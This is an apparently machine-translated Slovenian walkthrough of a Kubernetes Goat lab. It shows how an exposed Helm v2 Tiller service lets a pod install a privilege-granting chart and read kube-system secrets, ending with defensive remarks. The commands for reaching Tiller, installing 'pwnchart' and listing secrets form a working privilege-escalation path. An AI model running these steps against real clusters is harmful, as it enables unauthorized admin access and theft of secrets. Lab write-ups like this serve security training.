Helm je upravitelj paketov za Kubernetes, nekaj podobnega apt-get
za Ubuntu. V tej opombi bomo videli prejšnjo različico helma (v2) s privzeto nameščeno storitvijo tiller, prek katere bomo dostopali do gruče.
Pripravimo gručo; za to zaženite ukaz:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
Demonstracija
- Če ne konfigurirate ničesar dodatnega, helm v2 zažene storitev krmiljenja, ki ima RBAC s polnimi skrbniškimi pravicami gruče.
- Po namestitvi v imenski prostor
kube-system
se prikažetiller-deploy
in odpre tudi vrata 44134, vezana na 0.0.0.0. To lahko preverite s pomočjo telneta.
$ telnet tiller-deploy.kube-system 44134
- Zdaj se lahko povežete s storitvijo krmilnika. Za izvajanje operacij pri komunikaciji s storitvijo krmiljenja bomo uporabili dvojiško datoteko krmila:
$ helm --host tiller-deploy.kube-system:44134 version
- Poskusimo pridobiti skrivnosti gruče Kubernetes iz imenskega prostora
kube-system
:
$ kubectl get secrets -n kube-system
- Zdaj lahko ustvarimo svoj grafikon, v katerem bomo ustvarili vlogo s skrbniškimi pravicami in to vlogo dodelili privzetemu servisnemu računu. Z uporabo žetona iz tega storitvenega računa smo prejeli popoln dostop do naše gruče.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Zdaj pa kdaj
pwnchart
uveden, ima privzeti račun storitve popoln skrbniški dostop. Ponovno preverimo, kako pridobiti skrivnosti odkube-system
kubectl get secrets -n kube-system
Uspešna izvedba tega skripta je odvisna od tega, kako je bil Tiller uveden; včasih ga skrbniki uvedejo v ločenem imenskem prostoru z različnimi privilegiji. Helm 3 ni dovzeten za takšne ranljivosti, ker ... v njem ni krmila.
Opomba prevajalca: Uporaba omrežnih pravilnikov za filtriranje prometa v gruči pomaga pri zaščiti pred to vrsto ranljivosti.
Vir: www.habr.com